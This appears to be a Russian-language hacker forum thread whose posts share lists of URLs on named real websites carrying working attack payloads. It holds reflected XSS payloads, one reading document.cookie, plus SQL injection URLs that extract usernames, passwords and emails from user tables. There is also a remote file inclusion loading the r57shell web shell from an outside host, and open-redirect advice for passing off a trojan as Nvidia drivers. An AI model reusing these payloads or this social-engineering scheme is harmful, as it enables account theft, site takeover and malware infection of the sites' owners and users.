http://www.government.gov.ru/search/search.html?query="><script>alert('VectorG')</script>&page=1&book=0&he_id=38&pres_he_id=38 http://www.americasarmy.com/includes/bumper.php?goto="><script>alert('america_sucks')</script>
http://sotoman.ru/forum/show_msg.php?postid=3457<script src=http://site.ru/script.js></script> Надо писать без кавычек все кавычки фильтруются
Нагуглил тут немного Если никому не пригодится - помидорами не бросаться ----------------------------- _http://www.mff.org/publications/publications.taf?page=bebebe' [Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression '(P1.ID=bebebe') ORDER BY 25 DESC'. _http://www.archaeological.org/webinfo.php?page=' Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/aia/public_html/webinfo.php on line 11 _http://www.jedit.org/index.php?page=%00 _http://www.prestosoft.com/ps.asp?page=bebebe%00 _http://phppgadmin.sourceforge.net/?page=%00 _http://www.ourdocuments.gov/content.php?flash=false&page=%00 вдруг кто расковыряет? _http://www.swrcb.ca.gov/rwqcb3/Admin/ вот еще - немного мыльников в зоне gov и может еще что-то чего я не разглядел _http://www.agriya.com/demo/paidmail/admin/ _http://copyforsale.com/mail/ _http://www.software-trading.de/liste.asp?Titel=Backup&sql=WHERE(Kategorie%20IN('Backup'))%20-- _http://theory.lcs.mit.edu/~cis/cpl/backup.tar.gz (не качал - не знаю) ----------------EOF------------------------
Code: http://www.gamersinfo.net/content/news.php?id=168%20union%20select%201,password,username,email,5,6,7,8,9%20from%20user%20limit%201,2/* http://www.national-geographic.ru/forums/showthreaded.php?Cat=&Board=general&Number=-1480%20union%20select%20concat(u_email,':',u_password),2,3%20from%20w3t_Users%20limit%205,6/* http://www.rolemancer.ru/sections.php?op=listarticles&secid=-87%20union%20select%201,pass,3,4,uname%20from%20users/* http://www.wargames.ru/sections.php?op=listarticles&secid=-87%20union%20select%201,uname,3,4,pass%20from%20users/* http://www.echoekb.ru/news.php?r=2%20union%20select%201,2,user_pass,4,5,6,7,8,9,0%20from%20forum_user/*
_http://www.malls.ru/index.cfm?error=%3Cscript%3Ealert(/AC%20team/)%3C/script%3E%3Cfont%20color=green%3EAC%20TEAM%20%3C/font%3E Сцыла
Для СИ покатит, да и не только http://www.nvidia.com/content/license/location.asp?url=а_тут_пишем_то_что_хотим_загрузить Дальше юзеру останется нажать кнопку согласия... Можно впарить трояна под видом драиверов от нВидеа очень новых и хороших... А еще лучше это дрова склеенные с трояном, лежащие на каком-нить сайте... Вобщем можно придумать...
_http://svn.matroska.org/svn/ _http://vision.rambler.ru/srch/?sort=0&set=vision&words="><script>alert(/VectorG/)</script>
_http://vision.rambler.ru/srch/?sort=0&set=vision&control_charset=%CA%EE%ED%F2%F0%EE%EB%FC&words=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
_http://www.hedegaard.nu/image/set.php _http://www.aleviler.biz/hpmaker/index.php?p=http://rst.void.ru/download/r57shell.txt?
